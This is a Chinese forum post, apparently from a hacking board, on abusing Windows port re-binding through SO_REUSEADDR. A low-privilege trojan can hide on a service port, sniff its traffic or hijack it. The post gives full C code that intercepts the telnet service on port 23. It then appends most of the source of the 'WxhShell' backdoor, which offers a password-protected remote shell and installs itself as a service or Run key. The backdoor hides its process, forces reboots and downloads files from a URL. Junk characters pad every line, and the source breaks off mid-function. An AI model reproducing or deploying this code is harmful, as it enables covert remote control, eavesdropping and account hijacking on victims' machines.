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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @u/H8\.l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pj!:[d  
\3aTaT?..  
  saddr.sin_family = AF_INET; 7d ;pvhnH  
'z5h3J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \vCGU>UY  
DI,K(_@G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XX2h(-  
h0Ee?=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B_ k2u  
DK6? E\<  
  这意味着什么?意味着可以进行如下的攻击: h%TLD[[/jr  
.wy$-sG81  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WDkuB  
rQJ"&CapT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]CX[7Q+'  
6):Xzx,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l}rS{+:wK  
blahi]{Y9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #r<?v  
EB!daZH,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (?3[3 w~  
SdJ/ 4&{ !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )DT|(^  
9JnY$e<&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =X-Tcj?3g  
%WGuy@tL  
  #include ZCYS\E 7X  
  #include &:3Z.G  
  #include _1L(7|^~y[  
  #include    so+4B1$)q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >$H|:{D  
  int main() `#Kx|x6  
  { ^aF8wbuZ  
  WORD wVersionRequested; =P`~t<ajB  
  DWORD ret; \:v$ZEDJ>  
  WSADATA wsaData; 7NL% $Vf  
  BOOL val; d-B7["z,  
  SOCKADDR_IN saddr; "NzD1k6.L  
  SOCKADDR_IN scaddr; V*RdDF7  
  int err; }T.?c9l X  
  SOCKET s; ?D|\]0eN  
  SOCKET sc; k6(r !mc  
  int caddsize; h2w}wsb0l  
  HANDLE mt; C4\,z\Q  
  DWORD tid;   9o0!m Cq  
  wVersionRequested = MAKEWORD( 2, 2 ); KrcgIB8X  
  err = WSAStartup( wVersionRequested, &wsaData ); A6{b?aQ  
  if ( err != 0 ) { B=X,7  
  printf("error!WSAStartup failed!\n"); V&ot3- Rf  
  return -1; C$9z  
  } fD4ICO@  
  saddr.sin_family = AF_INET; e ZLMP  
   QI}E4-s8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;%!B[+ut"  
DCQ^fZ/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *5V Xyt2  
  saddr.sin_port = htons(23); %gd(wzco  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mC[UXN/  
  { -*a?<ES`  
  printf("error!socket failed!\n"); MCc$TttaVz  
  return -1; @5VV|Wt=  
  } "D][e'  
  val = TRUE; EJ84rSp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^2JpWY:|7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uxu\u0*  
  { E9}{1A  
  printf("error!setsockopt failed!\n"); 8VQ 24r  
  return -1; x\\~SGd  
  } $uj(G7_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4 !#a3=_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p$E8Bn%[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 } JiSmi6o  
qO@@8/l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~9\zWRh  
  { r0]4=6U  
  ret=GetLastError(); q| .dez'  
  printf("error!bind failed!\n"); }{[mrG   
  return -1; 7KjUW\mN2Z  
  } :5fAPK2r<  
  listen(s,2); ve6w<3D@  
  while(1) Wu1{[a|  
  { ?rYT4vi  
  caddsize = sizeof(scaddr); b)# Oc,  
  //接受连接请求 ;GGK`V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'gso'&Uaj  
  if(sc!=INVALID_SOCKET) uz3 0_aH  
  { sEc;!L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %~xGkk"I  
  if(mt==NULL) g I]GUD-  
  { qe$^q  
  printf("Thread Creat Failed!\n"); ciQZHH2  
  break; ^|MjJsn  
  } Q{g;J`Z)p  
  } Tr&M~Lgb)  
  CloseHandle(mt); {aYY85j  
  } SHVWwoieT  
  closesocket(s); ;gg\;i}^  
  WSACleanup(); 13hE}g;.  
  return 0; K(}AX+rIg  
  }   MrRaU x6z  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1.<q3q  
  { Z{6kWA3Kk  
  SOCKET ss = (SOCKET)lpParam; E#wS_[  
  SOCKET sc; gJ$K\[+  
  unsigned char buf[4096]; I@#;nyAj"  
  SOCKADDR_IN saddr; Dnf*7)X  
  long num; LOy0hN-$b  
  DWORD val; = u[#2!  
  DWORD ret; hr05L<?H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *f%>YxF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   txgQ"MGA%  
  saddr.sin_family = AF_INET; aGZi9O7G}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3r+.N  
  saddr.sin_port = htons(23); X0(tboj#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =ONHK F[UJ  
  { ^5GW$  
  printf("error!socket failed!\n"); cvd\/pG)  
  return -1; mLV[uhq   
  } )0 W`  
  val = 100; aUHcYc\u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b75 $?_+  
  { ?p<.Fv8.  
  ret = GetLastError(); uw(NG.4  
  return -1; &fa5laJb  
  } 7CXW#H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'B5^P  
  { ?S$i?\Qh  
  ret = GetLastError(); 3DgsI7-F  
  return -1; Vwk#qgnX  
  } L"jY+{oLIJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B.r4$:+jb2  
  { 5irwz4.4  
  printf("error!socket connect failed!\n"); FGWN}&K  
  closesocket(sc); 94sk kEj  
  closesocket(ss); CI U1R;  
  return -1; (" ~ DJ=  
  } 8K(Z0  
  while(1) F!zP<A "  
  { >MK>gLg}!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =@2FX&&E_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X$%4$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2*"Fu:a"`I  
  num = recv(ss,buf,4096,0); .MQ^(  
  if(num>0) b45|vX+j  
  send(sc,buf,num,0); =@,Q Dm]L  
  else if(num==0) $$b 9&mTl#  
  break; E%oY7.~-  
  num = recv(sc,buf,4096,0);  j~j jX  
  if(num>0) -=s(l.?Hm5  
  send(ss,buf,num,0); O,aS`u &  
  else if(num==0) 2{-ZD ,(u7  
  break; I&n  
  } X@@8"@/u|*  
  closesocket(ss); yRp"jcD  
  closesocket(sc); 98=wnWX 6$  
  return 0 ; H]4Hj  
  } KL$bqgc(p3  
^7zu<lX  
}Sy=My89r  
========================================================== n  -(  
Hbv6_H  
下边附上一个代码,,WXhSHELL qW:HNEiir  
kmzH'wktt  
========================================================== 6T 8!xyi-+  
DCqY|4Qc  
#include "stdafx.h" .ERO|$fv  
Oo kh<ES>  
#include <stdio.h> f&v9Q97=  
#include <string.h> "ju6XdZo  
#include <windows.h> ;7N{^"r  
#include <winsock2.h> AJ#Nenmj  
#include <winsvc.h> R.=}@oPb  
#include <urlmon.h> CLvX!O(~  
l Va &"   
#pragma comment (lib, "Ws2_32.lib") pTIf@n6I  
#pragma comment (lib, "urlmon.lib") )95f*wte  
p<=$&*  
#define MAX_USER   100 // 最大客户端连接数 {(r6e  
#define BUF_SOCK   200 // sock buffer cw iX8e"3  
#define KEY_BUFF   255 // 输入 buffer 45hF`b>%,  
ca+5=+X7  
#define REBOOT     0   // 重启  {o(j^@  
#define SHUTDOWN   1   // 关机 q, O$ %-70  
n; {76Q  
#define DEF_PORT   5000 // 监听端口 ;a:[8Yi  
LL:_L<  
#define REG_LEN     16   // 注册表键长度 %*BlWk!Q  
#define SVC_LEN     80   // NT服务名长度 4apL4E"r  
II6CHjW`;  
// 从dll定义API x _c[B4Tw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *_>Lmm.yh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6{ =\7AY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /SYw;<=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )GHq/:1W  
<&C]s b  
// wxhshell配置信息 iY21Ql%  
struct WSCFG { J2:y6kGj>  
  int ws_port;         // 监听端口 ]U"94S U:)  
  char ws_passstr[REG_LEN]; // 口令 8OgLn?"P  
  int ws_autoins;       // 安装标记, 1=yes 0=no 13taFV dU  
  char ws_regname[REG_LEN]; // 注册表键名 N7e"@Ic  
  char ws_svcname[REG_LEN]; // 服务名 6gc>X%d`K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,v"YqD+GC5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x.-+[l[1 !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 / m=HG^!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -'6Dg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yPq'( PV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AK@9?_D  
/Rl6g9}  
}; 3Z1CWzq(  
O({2ivX  
// default Wxhshell configuration `V##Y  
struct WSCFG wscfg={DEF_PORT, .V,@k7U,V  
    "xuhuanlingzhe", p, #o<W  
    1, F6z%VWU  
    "Wxhshell", 0Vx.nUQ  
    "Wxhshell", %7|9sQ:  
            "WxhShell Service", A0Qb 5e  
    "Wrsky Windows CmdShell Service", wb0L.'jyR)  
    "Please Input Your Password: ", 4 r45i:  
  1, Zu7)gf  
  "http://www.wrsky.com/wxhshell.exe", q@{Bt{$x  
  "Wxhshell.exe" 4t=G   
    }; X(NLtO w  
uA< n  
// 消息定义模块  094o'k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~sh`r{0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z.Lc>7o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E 7{U |\  
char *msg_ws_ext="\n\rExit."; ')cMiX\v  
char *msg_ws_end="\n\rQuit."; fb~ytl<  
char *msg_ws_boot="\n\rReboot..."; {z{bY\  
char *msg_ws_poff="\n\rShutdown..."; nlc "c5;jh  
char *msg_ws_down="\n\rSave to "; 5?x>9C a  
M!o##* *`  
char *msg_ws_err="\n\rErr!"; ,>%}B3O:Y=  
char *msg_ws_ok="\n\rOK!"; #"G]ke1l$  
jWA(C; W  
char ExeFile[MAX_PATH]; GB=X5<;  
int nUser = 0; /V'A%2Cl=T  
HANDLE handles[MAX_USER]; %V7at7>o  
int OsIsNt; 2fL;-\!y(  
Iy&!<r7:]0  
SERVICE_STATUS       serviceStatus; 8)_XJ"9)G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yd d7I&$  
C&(N I  
// 函数声明 Tw-;7Ae  
int Install(void); GBPo8L"9  
int Uninstall(void); rD 3v$B  
int DownloadFile(char *sURL, SOCKET wsh); ;@oN s-  
int Boot(int flag); YIG~MP  
void HideProc(void); xqu}cz  
int GetOsVer(void); K  &N  
int Wxhshell(SOCKET wsl); (5-FVp fb  
void TalkWithClient(void *cs); 3EPv"f^V  
int CmdShell(SOCKET sock); ]>5/PD,wWy  
int StartFromService(void); sYI-5D]  
int StartWxhshell(LPSTR lpCmdLine); H&-zZc4\  
&i6),{QN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u7>],<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?67Y-\}  
9sYMSc~Bm  
// 数据结构和表定义 GjvOM y  
SERVICE_TABLE_ENTRY DispatchTable[] = VA#"r!1  
{ I&x=;   
{wscfg.ws_svcname, NTServiceMain}, 9y"@(  
{NULL, NULL} i9,ge Q7d  
}; p8Qk 'F=h  
SE1=>S%p  
// 自我安装 '-Vt|O_Q  
int Install(void) I 5^!y  
{ I;wp':  
  char svExeFile[MAX_PATH]; A P?R"%  
  HKEY key; D2Kp|F;  
  strcpy(svExeFile,ExeFile); tEvut=k'  
*0Skd  
// 如果是win9x系统,修改注册表设为自启动 52Z2]T c ,  
if(!OsIsNt) { 86=}ZGWd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _-K2/6zy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #lL^?|M  
  RegCloseKey(key); UGV+/zxIM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;n*.W|Uph  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =O5pY9UO  
  RegCloseKey(key); TrEu'yxy8*  
  return 0; kTOzSiq  
    } }C"%p8=HM  
  } DEKP5?]  
} Z>k#n'm^z  
else { "o-z y'I  
$ r@zs'N  
// 如果是NT以上系统,安装为系统服务 E Nh l&J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 98IJu  
if (schSCManager!=0) -b9\=U[  
{ R'as0 u\  
  SC_HANDLE schService = CreateService l<58A7  
  ( he;dq)-e9  
  schSCManager, +V ;l6D  
  wscfg.ws_svcname, 61C7.EZZ;  
  wscfg.ws_svcdisp, 4DI8s4fi  
  SERVICE_ALL_ACCESS, P~>O S5^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H)kwQRfu  
  SERVICE_AUTO_START, #wwH m3  
  SERVICE_ERROR_NORMAL, |6sp/38#p  
  svExeFile, _)3|f<E_t)  
  NULL, 823Y\x~>  
  NULL, Q4#m\KK;i9  
  NULL, U)] oO  
  NULL, /K@XzwM  
  NULL ;PF<y9M  
  ); &R'c.  
  if (schService!=0) N2^=E1|_  
  { !C ':  
  CloseServiceHandle(schService); uP)'FI  
  CloseServiceHandle(schSCManager); _^Ubs>d=*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 99e.n0  
  strcat(svExeFile,wscfg.ws_svcname); /$Nsd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3w*R&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2j [=\K]  
  RegCloseKey(key); JzQ_{J`k  
  return 0; y4?0j:  
    } xX&+WR  
  } fgp]x&5Q  
  CloseServiceHandle(schSCManager); n,y ZRY  
} \h/H#j ZJ  
} ]vUwG--*  
cKca;SNql1  
return 1; r,73C/*&/  
} #4 <SAgq  
*SJ_z(CZm  
// 自我卸载 ,aZ[R27rpL  
int Uninstall(void) >C>.\  
{ ? =Z?6fw  
  HKEY key; C`hU]  
 ~d.Y&b  
if(!OsIsNt) { _aSxc)?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K<3A1'_  
  RegDeleteValue(key,wscfg.ws_regname); X]TG<r  
  RegCloseKey(key); )hsgC'H{~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ko<:Z)PS  
  RegDeleteValue(key,wscfg.ws_regname); TQF| a\M'  
  RegCloseKey(key); EeE7#$l  
  return 0; JX;<F~{.  
  } 0*3R=7_},o  
} /l ~p=PK  
} Cv.C;H  
else { lfow1WRF  
E4jNA }3k+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vH@ds k  
if (schSCManager!=0) 2*& ^v  
{ vm8eZG|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ?(1 y  
  if (schService!=0) rH Lm\3  
  { &jJL"gq"  
  if(DeleteService(schService)!=0) { 6P l<'3&  
  CloseServiceHandle(schService); F0TB<1  
  CloseServiceHandle(schSCManager); AO4U}?  
  return 0; ,?%Zc$\LW  
  } b4 6~?*  
  CloseServiceHandle(schService); `Y$4 H,8L  
  } l_d5oAh   
  CloseServiceHandle(schSCManager); _ ]ip ajT  
}  +SU8 +w  
} 7&)bJ@1U  
eu-*?]&Di  
return 1; 0Th&iA4  
} %YscBG  
-`h)$&,  
// 从指定url下载文件 )qw&%sO +  
int DownloadFile(char *sURL, SOCKET wsh) CY5Z{qiX  
{ )m T<MkP  
  HRESULT hr; S9y}  
char seps[]= "/"; v@L;x [Q  
char *token; U?Zq6_M&  
char *file; 6<QQ@5_  
char myURL[MAX_PATH]; kVMg 1I@  
char myFILE[MAX_PATH]; *w\W/Y  
$Ds2>G4c  
strcpy(myURL,sURL); B~ GbF*j  
  token=strtok(myURL,seps); .*Y  
  while(token!=NULL) *i%.;Z"  
  { =8. ,43+  
    file=token; Xl#ggub?  
  token=strtok(NULL,seps); E{`fF8]K  
  } G9cUD[GB  
IOmfF[  
GetCurrentDirectory(MAX_PATH,myFILE); k="i;! G e  
strcat(myFILE, "\\"); +I|vzz`ZVr  
strcat(myFILE, file); KkbDW3-  
  send(wsh,myFILE,strlen(myFILE),0); 7Ovi{xd@  
send(wsh,"...",3,0); tS=(}2Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [RhO$c$[\  
  if(hr==S_OK) ea 'D td  
return 0; ?+@?Up0wGO  
else !l8PDjAE  
return 1; L#sMSVC+  
:DNY7TvZ  
} 0S!K{xyR  
,#9PxwrO  
// 系统电源模块 @qAS*3j  
int Boot(int flag) ;?p>e'  
{ ]2KihP8z x  
  HANDLE hToken; S4z;7z(8+  
  TOKEN_PRIVILEGES tkp; Why`ziks  
p_%Rt"!  
  if(OsIsNt) { sUQ@7sTj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2fd{hJDq;5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H<,gU`&R  
    tkp.PrivilegeCount = 1; $'M!HJxb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iqWQ!r^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); on `3&0,.  
if(flag==REBOOT) { 6LIJ Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HIZe0%WPw  
  return 0; Kn1a>fLaJ_  
} E ~<JC"]  
else { ](8[}CeL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G_,jgg7  
  return 0; >|UOz&  
} %IWPM"  
  } 2FJ*f/  
  else { ^<2p~h0 \  
if(flag==REBOOT) { LZY"3Jn[nQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lt8|9"9<  
  return 0; A3/k@S-R2  
} 1mG-}  
else { kt:! 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vl:KF7:#m  
  return 0; EaN6^S=  
} ZUd-<y  
} Gyc]?m   
(f"4,b^]  
return 1; `b$.%S8uj=  
} l]8uk^E  
VMWf>ZU  
// win9x进程隐藏模块 pW3^X=6  
void HideProc(void) 6j}9V L77  
{ S<Xf>-8w  
}5"u[Z.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lp9E:D->  
  if ( hKernel != NULL ) UJ   
  { aPL+=58r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KbeC"mi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qvhl4-XjZa  
    FreeLibrary(hKernel); ]c'A%:f<  
  } C?eH]hkZ3  
<Q3c[ Y  
return; .$vK&k  
} ZJiG!+-j  
S)@j6(HC4  
// 获取操作系统版本 sQZhXaMa $  
int GetOsVer(void) |yPu!pfl  
{ I; rGD^  
  OSVERSIONINFO winfo; Cp0=k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F:S}w   
  GetVersionEx(&winfo); S?2>Er  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =T7.~W  
  return 1; Y.p;1"  
  else oEpFuWp%A  
  return 0; VI *$em O0  
} >XfbP]  
RZTiw^  
// 客户端句柄模块 yJIscwF  
int Wxhshell(SOCKET wsl) #%O0[kd  
{ r9?Mw06Wc5  
  SOCKET wsh; h/Y'<:  
  struct sockaddr_in client; Lr pM\}t  
  DWORD myID; scV5PUq  
1?l1:}^L  
  while(nUser<MAX_USER) U]rRQ d/:;  
{ do'GlU oMC  
  int nSize=sizeof(client); )vlhN2iv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rYk0 ak  
  if(wsh==INVALID_SOCKET) return 1; wUJcmM;  
r5^eNg k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k+*u/neh  
if(handles[nUser]==0) UJ2U1H54h  
  closesocket(wsh); xyXa .  
else 4^<?Wq~  
  nUser++; ]6j{@z?{  
  } C;yZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #GFr`o0$^  
Tp2.VIoQ=  
  return 0; <:CkgR$/{  
} ) )Za&S*<  
r<$y= B  
// 关闭 socket M"L=L5OH-  
void CloseIt(SOCKET wsh) }x ,S%M-  
{ apn*,7ps65  
closesocket(wsh); 1|:KQl2q  
nUser--; UPGtj"2v-  
ExitThread(0); s5. CFA  
} *0ro0Z|Iq  
6 !bsM"F  
// 客户端请求句柄 Q,Eo mt  
void TalkWithClient(void *cs) |w3M7;~eF  
{ gRzxLf`K  
19#\+LWA  
  SOCKET wsh=(SOCKET)cs; D2O~kN d  
  char pwd[SVC_LEN]; 3OB"#Ap8<  
  char cmd[KEY_BUFF]; noj0F::m`j  
char chr[1]; 4skD(au8  
int i,j; yf,z$CR  
qxc[M8s  
  while (nUser < MAX_USER) { x?<FJ"8"k  
Vjpy~iP4B  
if(wscfg.ws_passstr) { n=q 76W\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7xR\kL.,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G#$-1"!`  
  //ZeroMemory(pwd,KEY_BUFF); _yT Ed"$  
      i=0; !<F3d`a  
  while(i<SVC_LEN) { fV~[;e;U.  
GLODVcjf  
  // 设置超时 ! d gNtI@  
  fd_set FdRead; 1Z&(6cDY8M  
  struct timeval TimeOut; TcoB,Kdce  
  FD_ZERO(&FdRead); glw+l'@  
  FD_SET(wsh,&FdRead); Ho]su?  
  TimeOut.tv_sec=8; zT{ VE+=  
  TimeOut.tv_usec=0; w!XD/j N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W@esITr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +w~oH=  
Uw:"n]G]D?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  0+8e,  
  pwd=chr[0]; |vC~HJpuv'  
  if(chr[0]==0xd || chr[0]==0xa) { E" vS $  
  pwd=0; 2KZneS`  
  break; ;FEqe 49  
  } [fy LV`  
  i++; K)P%;X  
    } !@"OB~  
rZpXPI  
  // 如果是非法用户,关闭 socket QsW/X0YBv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fj!U|l\_9  
} H;"4 C8K7  
cH)";] k*-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R|Q?KCI&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8?C5L8)  
(-co.  
while(1) { #LNED)Vg  
_VXN#@y  
  ZeroMemory(cmd,KEY_BUFF); }GIt!PG  
Yr|4Fl~U  
      // 自动支持客户端 telnet标准   !Z6{9sKR=]  
  j=0; o !7va"  
  while(j<KEY_BUFF) { d"Y{UE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w2J<WC+_<  
  cmd[j]=chr[0]; 6w77YTJ  
  if(chr[0]==0xa || chr[0]==0xd) { @j/&m]6%-D  
  cmd[j]=0; @%SQFu@FJ  
  break; W_ ZJ0GuE(  
  } T^q 0'#/  
  j++; Mb=" Te>|  
    } fXB0j;A  
`F6C-  
  // 下载文件 p b,. r  
  if(strstr(cmd,"http://")) { :v 4]D4\o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); paMa+jhQQ  
  if(DownloadFile(cmd,wsh)) FgO)DQm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #fM'>$N  
  else ,u!sjx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B/C,.?Or  
  } -K$)DvV^(E  
  else { T9&1VW  
wQLSf{2  
    switch(cmd[0]) { dqAw5[qMJ  
  h `wD  
  // 帮助 B erwI 7!=  
  case '?': { K|@G t%Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  2Rz  
    break; QSj]ZA  
  } L%5%T;0'~  
  // 安装 \j.:3X r  
  case 'i': { @ .KGfNu  
    if(Install()) FPTK`Gd0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h7@6T+#WoT  
    else g `4<9RMun  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mV m Gg,  
    break; jFb?b6b  
    } mBC+6(5V  
  // 卸载 YbLW/E\T  
  case 'r': { v8D C21pb  
    if(Uninstall()) y?!"6t7&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4.(4x&  
    else *|l/6!WM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CQ2jP G*py  
    break; G / 5%.Bf@  
    } ^}C\zW  
  // 显示 wxhshell 所在路径 SY8C4vb'h  
  case 'p': { B\n[.(].r  
    char svExeFile[MAX_PATH]; F5#YOck&,  
    strcpy(svExeFile,"\n\r"); H:\k}*w  
      strcat(svExeFile,ExeFile); "h ^Z  
        send(wsh,svExeFile,strlen(svExeFile),0); aN=B]{!  
    break; Er[A X.3  
    } J-4:H gx  
  // 重启 b>$S<td  
  case 'b': { 1nOCQ\$l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bN88ua}k{  
    if(Boot(REBOOT)) iR0y"Cii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1kl70,`R  
    else { ]{LjRSV  
    closesocket(wsh); +^<](z  
    ExitThread(0); c"xK`%e  
    } \C1nZk?3  
    break; ,=N.FS  
    } Xm 2'6f,  
  // 关机 rN{ c7/|  
